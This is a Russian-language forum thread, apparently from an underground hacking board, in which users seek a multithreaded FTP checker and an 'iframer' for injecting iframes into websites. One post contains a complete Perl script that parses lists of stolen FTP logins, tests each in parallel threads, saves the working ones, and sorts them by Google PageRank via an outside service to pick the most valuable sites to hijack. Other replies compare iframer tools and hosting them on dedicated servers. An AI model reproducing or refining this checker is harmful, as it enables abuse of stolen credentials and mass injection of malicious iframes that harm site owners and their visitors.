Сабж. Требуется проверенный временем экземпляр и с большим кол-вом настроек. Сам искал но все что попадалось чекало в один поток, вылетало, не ифрэймило либо вообще не запускалось.
дык разве она работает ещё? вроде не поддерживается уже х.з. сколько.Мне серотка нравится. Для чека заряжал в него максимум 10к (больше не пробовал).
залью, если надо будет.
#!usr/bin/perl
use threads;
use threads::shared;
use Fcntl ':flock';
use LWP::UserAgent;
#settings
my $threads = 10; #Кол-во потоков
my $input_file_name = 'ftp.txt';
my $output_file_name = 'good_ftp.txt';
my $sleep_time = 0; #задержка
my $timeout = 5; #timeout in seconds
my $agent = "FTPCheck";
#/settings
my $good: shared = 0;
my @array : shared;
my $ua = LWP::UserAgent -> new(timeout => $timeout, agent => $agent);
my $ua2 = LWP::UserAgent -> new(timeout => $timeout, agent =>$agent);
system("title #FTP-CheckeR by intNet#");
about();
print localtime()." Parsing started...\n";
parse();
print localtime()." ok!\n".localtime()." Check started...\n\n";
@array = ftoarr($input_file_name);
threads ->new(\&gogo) for 1..$threads;
$_ -> join for threads->list;
print "\n\n".localtime()." Check done!\nGood: $good\n\n";
print localtime()." Sorting by PR...\n";
sort_by_pr($output_file_name);
print localtime()." Done!\n";
system("pause");
sub sort_by_pr {
open FILE, "<$output_file_name" || die "Can't open $output_file_name\n";
my @arr = <FILE>;
close FILE;
open FILE, ">$output_file_name";
for(my $i = 10; $i>=0; --$i) {
foreach $akk(@arr) {
print FILE $akk if $akk =~ /PR: $i/;
print "PR $i - $akk" if $akk =~ /PR: $i/;
}
}
close FILE;
}
sub parse {
# помещает во входной файл отсортированные и очищенные уникальные фтп
open DAT, "<$input_file_name" or die "Can't open $input_file_name\n";
@temp_arr = <DAT>;
close DAT;
my $a = 0;
my @arr;
foreach $akk(@temp_arr) {
if($akk =~ /([^ ]*:[^ ]*\@[^ \n]*)/) {
push @arr => "$1\n";
$a++;
}
}
my @new_arr;
foreach $akk(@arr) { #adding ftp:// and :21 if needed
chomp $akk;
if($akk =~ /ftp:\/\//) {
if($akk =~ /:21/) {
push @new_arr =>"$akk\n";
} else {
push @new_arr=>$akk.":21\n";
}
} else {
if($akk =~ /:21/) {
push @new_arr => 'ftp://'.$akk."\n";
} else {
push @new_arr => 'ftp://'.$akk.":21\n";
}
}
}
@arr = sort @new_arr;
for($i=0;$i<$a;$i++){
@arr[$i] = '' if @arr[$i] eq @arr[$i+1]; #dup remove
}
open DAT, ">$input_file_name";
print DAT @arr;
close DAT;
return;
}
sub ftoarr {
die "File $_[0] not exist or has zero-size\n" if(-z $_[0] || !-e $_[0]);
open DAT, "<$_[0]" || die "Can't open $_[0]\n";
my @ar = <DAT>;
close DAT;
return @ar;
}
sub fnote {
#syntax - WriteToFile(FileNameToWriteData, Data)
open my $data_file, ">>$_[0]" || die "Can't open $output_file_name\n";
flock $data_file, LOCK_EX;
print $data_file $_[1];
flock $data_file, LOCK_UN;
close $data_file;
}
sub gogo {
while(@array) {
my $str = undef;
my $host = undef;
my $pr = undef;
my $cy = undef;
{
lock(@array);
$str = shift(@array);
chomp $str;
next if $str eq '';
}
print "Now $str...";
if(checkftp($str) ==1) {
{
lock($good);
$good++;
}
if($str =~ /^ftp:\/\/?(.*):(.*)\@(.*):(\d+)/i) {
$host = $3;
} else {
$host = '';
}
$res = $ua2->get('http://www.moshiach.ru/checker/worker.php?service=google_pr&url='.$host);
$pr = substr($res->content, 6);
$pr = 0 if $pr =~ /N\/A/;
fnote($output_file_name, $str." | host: $host | PR: $pr\n");
print " GOOD!($good), Host: $host, PR: $pr\n";
} else {
print " BAD!\n";
}
sleep $sleep_time;
}
}
sub checkftp {
$getres = $ua->get($_[0]);
if($getres->as_string =~ /200 OK/) {
return 1;
} else {
return 0;
}
}
sub about {
print "#FTP-Checker\n#Version 1.0 [beta]\n".
"#(C)oded by intNet\n".
"\t[+] Parser\n\t[+] Checker\n\t[+] PR-checker with sorter\n\n";
return;
}
#by intNet
У зеро есть многопоток на перле. Можешь поинтересоваться у него...А чем Ziframer не устраивает
а выложить можете?или так для слова отписались,так то и у кодера можно любого заказатьА чем Ziframer не устраивает? Мы с trueuser-ом даже многопоток из него делали.
Последний Ziframer на php лежит в привате.А чем Ziframer не устраивает
*
У зеро есть многопоток на перле. Можешь поинтересоваться у него...
Скрипты вообше трудно будет запускать на дедах лучше используйте никс платформы первая версия фреймера есть в виде ехеSerotka не запускается на забугорных дедах а ифрэймить со своего я не собираюсь
2 G100M большое спасибо после проверки чекер отправился прямиком на флэшку))
Однако мне нужен ифрэймер. Тема актуальна. Ваши предложения с линками если имеются